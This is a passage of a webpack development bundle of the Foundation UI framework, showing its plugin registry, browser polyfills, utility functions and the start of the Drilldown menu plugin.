Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if 